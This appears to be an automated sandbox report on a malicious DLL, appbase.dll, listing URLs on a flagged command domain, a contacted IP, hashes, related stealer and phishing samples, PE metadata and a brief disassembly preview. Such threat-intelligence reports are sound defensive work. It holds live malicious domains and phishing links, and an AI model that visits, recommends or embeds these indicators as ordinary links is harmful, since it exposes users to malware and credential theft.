https://wpad.ru0994ecs.net/les_AutoUpdate_1	rundll32.exe, 00000004.00000003.1898998200.00000000030BB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.datm	rundll32.exe, 00000004.00000002.3515436258.000000000306C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/hKh	rundll32.exe, 00000003.00000002.3515545940.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3488651887.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3445890801.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3482061788.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3409796147.000000000269C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/T	rundll32.exe, 00000003.00000003.2660590828.00000000026BD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.daty	rundll32.exe, 00000004.00000002.3515436258.000000000306C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/R	rundll32.exe, 00000004.00000003.1831103148.000000000309A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3063237477.0000000003096000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.datw	rundll32.exe, 00000005.00000003.1842350340.0000000002CEC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/P	rundll32.exe, 00000003.00000003.2490132601.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2660590828.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2162033052.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1981256882.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1832583206.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1900425076.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1838595869.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1864438428.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1796170581.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2051678434.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2441322143.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2405314352.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999420548.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2349288767.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1749913253.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2266738274.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2198421191.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1906497507.00000000026BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999647591.00000000026BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1932310717.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1906359698.000000000269C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.datu	rundll32.exe, 00000004.00000003.1836609612.000000000309A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.datua	rundll32.exe, 00000003.00000003.2162033052.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3113522873.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3317534971.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2666822258.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3205871358.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.3515545940.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3260916225.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1900425076.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3224017782.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3488651887.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2925925392.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2051678434.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2441322143.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3363949383.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2463624537.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999420548.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2349288767.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2490132601.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3445890801.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2266738274.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2198421191.000000000269C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/soft	rundll32.exe, 00000005.00000003.3083721235.0000000002D0C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.dat2	rundll32.exe, 00000004.00000003.2984958268.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2052370099.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2162023507.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2198397670.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3382273228.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2302804486.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2463349949.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3037365252.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3289915691.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2441058430.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3063237477.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3191130293.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1930709049.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2006184425.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2489703699.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3335837170.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3197143218.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2224622245.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3460046370.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2514383053.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2058396910.0000000003096000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.datr	rundll32.exe, 00000003.00000003.2490132601.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2660590828.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2162033052.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3113522873.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3317534971.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1981256882.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1703416363.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1832583206.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3205871358.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1900425076.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.3515545940.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3077508164.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3260916225.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1838595869.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1864438428.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1796170581.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3224017782.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3488651887.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2925925392.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2051678434.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2441322143.000000000269C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.microsoft.c	rundll32.exe, 00000003.00000003.1900425076.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999420548.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1906359698.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1864438428.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1932310717.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2005539819.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1981256882.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3183245920.0000000002CE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1915508029.0000000002CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3478687704.0000000002CE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2025131776.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3314356379.0000000002CE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1961640759.0000000002CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3416592082.0000000002CE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2566941265.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2061544445.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2446154478.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2077555864.0000000002CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2419474532.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2706480171.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1878944569.0000000002CE6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.data	rundll32.exe, 00000005.00000003.2520892621.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/9	rundll32.exe, 00000005.00000003.1961640759.0000000002CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1999305434.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/:	rundll32.exe, 00000004.00000003.1905348497.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1729855978.0000000002CEC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2482366237.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.dat_	rundll32.exe, 00000003.00000003.1832583206.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3260916225.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1838595869.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1796170581.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2349288767.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2997900601.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2561296968.000000000269C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/pad.dat	rundll32.exe, 00000004.00000003.2866589228.0000000003096000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/w	rundll32.exe, 00000004.00000003.3335837170.0000000003096000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/HLh	rundll32.exe, 00000003.00000003.3317534971.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3260916225.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3363949383.000000000269C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/B	rundll32.exe, 00000004.00000003.3382273228.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3515675465.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3460046370.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3506254990.0000000003096000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://wpad.ru0994ecs.net/wpad.datc	rundll32.exe, 00000004.00000003.2984958268.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3382273228.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2489783271.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2302804486.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2162530364.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3037365252.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3289915691.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2058522410.00000000030BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2441058430.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2820274116.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3063237477.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2006184425.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1977367907.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3191130293.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2561258595.00000000030BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2489703699.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2114327635.00000000030BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1748223407.000000000309A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3335837170.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2052370099.00000000030BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1794713226.000000000309A000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.62.151	wpad.ru0994ecs.net	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1427034
Start date and time:	2024-04-16 23:01:23 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	appbase.dll
Detection:	MAL
Classification:	mal52.evad.winDLL@10/0@1/1
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 22 Number of non-executed functions: 12
Cookbook Comments:	Found application associated with file extension: .dll Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target rundll32.exe, PID 7200 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: appbase.dll

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	z158xIuvhauCQiddTe.exe	Get hash	malicious	AgentTesla	Browse	162.159.136.232
	z34PDnVzyEItkXaInw.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Payroll_4_16_2024-7089599578.eml	Get hash	malicious	HTMLPhisher	Browse	172.67.187.49
	Paper Extension tax filing Update.eml	Get hash	malicious	HTMLPhisher	Browse	172.67.187.49
	https://webex-install.com	Get hash	malicious	NetSupport RAT	Browse	104.26.13.205
	https://samartrace.co.ke/resu/repnu03/pDm2uA4djQME/transportforum@stanstedairport.com	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	You have a newly assigned document from Frey Navarro P.L.L.C. .msg	Get hash	malicious	HTMLPhisher	Browse	104.18.26.72
	https://r20.rs6.net/tn.jsp?f=001hdorddfRVpfBhjmCzZP_M9e3n-9HvwH5WndewdVBwOCaKywXuTP72YftDf8G7EZegNKDuHDStGd0F_YqHq-dwkMezptPaVTW7z3GmrsquDjOTUdJWUiPwtfYdeAV_V719niRmATzLmr1i2Q4VD5Hjq7GD9AIQnalZTS2xJ4NBmEjoOsyfi4JfmCXpI8wp394l5knVxHSX1M-okruwnPJWWbuauOcxTMO&c=&ch=#YmdyYWltZUBuZXhwb2ludC5jb20=	Get hash	malicious	Unknown	Browse	104.21.29.125
	https://rebrand.ly/hsgxif1#sean@virtualintelligencebriefing.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	SecuriteInfo.com.Win64.PWSX-gen.6289.18727.exe	Get hash	malicious	CredGrabber, Meduza Stealer, PureLog Stealer	Browse	104.21.62.151
	HW#210872-218YAT-THEON-GLOBAL-Y801823-1AHEY361-APL38102823-19011.exe	Get hash	malicious	GuLoader, PureLog Stealer, zgRAT	Browse	104.21.62.151
	gKN4xIjj5o.exe	Get hash	malicious	CredGrabber, PureLog Stealer	Browse	104.21.62.151
	RFQ183494.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.21.62.151
	513616103509452909612589303471676534521900095585.vbs	Get hash	malicious	Unknown	Browse	104.21.62.151
	KqWnIt1164.exe	Get hash	malicious	PureLog Stealer, Vidar, zgRAT	Browse	104.21.62.151
	DHL Shipping Documents_pdf.vbs	Get hash	malicious	AgentTesla	Browse	104.21.62.151
	Arrival Notice.vbs	Get hash	malicious	FormBook, GuLoader	Browse	104.21.62.151
	RFQ_2414976#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	104.21.62.151

File type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.94816530242887
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	appbase.dll
File size:	239'616 bytes
MD5:	ebfa9058b78dd1f0909137225aa5fa48
SHA1:	2d8b3e90ebe4f23f3f77b1e25f98304d5507c2e7
SHA256:	2b53674953bb1d733bd4d3c5d88c30f4b049e5b1433b91b8e1b2a6f0ea49a951
SHA512:	7c389828f8fdba54361d9d45b98534ff69a103befd1894ae9a42ebb088a5977e9b13801a1079bc4ede46b925b84a602453ed5fc5ec98a7180593185dc4207e13
SSDEEP:	6144:tjcjVjz+mohaQ0v3792NwSECifu6YUy3VRJVBc:tjcjVjzPxQ050PE9RQI
TLSH:	F134129CFC8B09FCF8070A74157AFBFF6B25822B4860C665DB90D61CB47B504EA5A1C9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...i..f...........#...".....................0.....e......................... ................ .........................D..

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x650c13b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x650c0000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED, DLL
DLL Characteristics:
Time Stamp:	0x660FFB69 [Fri Apr 5 13:23:53 2024 UTC]
TLS Callbacks:	0x650c16e0, 0x650c1690
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	95d4b4539f93a184475b3568838906a1

Entrypoint Preview

Instruction
sub esp, 0Ch
mov dword ptr [650FC370h], 00000000h
mov edx, dword ptr [esp+14h]
cmp edx, 01h
je 00007F7524E93A3Ch
mov ecx, dword ptr [esp+18h]
mov eax, dword ptr [esp+10h]
call 00007F7524E93872h
add esp, 0Ch
retn 000Ch
lea esi, dword ptr [esi+00000000h]
call 00007F7524E93B80h
mov edx, dword ptr [esp+14h]
jmp 00007F7524E939FDh
lea esi, dword ptr [esi+00h]
nop
sub esp, 1Ch
mov eax, dword ptr [esp+20h]
mov dword ptr [esp], 650FC000h
mov dword ptr [esp+04h], eax
call 00007F7524E948AEh
add esp, 1Ch
ret
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 18h
mov dword ptr [esp], 650C1430h
call 00007F7524E939F3h
leave
ret
lea esi, dword ptr [esi+00000000h]
lea esi, dword ptr [esi+00h]
nop
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword ptr [esp+1Ch]
call 00007F7524E93A50h
ret
mov eax, dword ptr [esp+18h]
call 00007F7524E93A40h
ret
mov eax, dword ptr [esp+10h]
call 00007F7524E93A30h
ret
mov eax, dword ptr [esp+30h]
call 00007F7524E93A38h
ret
mov edx, esp
jmp dword ptr [esp+18h]
mov edx, esp
jmp dword ptr [esp+20h]
mov edx, esp
jmp dword ptr [eax+eax+00h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3d000	0x44	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e000	0x400	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x41000	0x1e4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x3b00c	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3e0c4	0x88	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1984	0x1a00	e9685f3f037e2cfc3427d6988859f29f	False	0.5576923076923077	data	6.024236993704477	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x3000	0x37a2c	0x37c00	8ec36f4ff989dcbc9d61344a0136244d	False	0.9841560397982063	data	7.988632082509892	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x3b000	0x11c	0x200	cbe8479c52cb21a141db288cbc44c219	False	0.40234375	data	3.3905301464354354	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
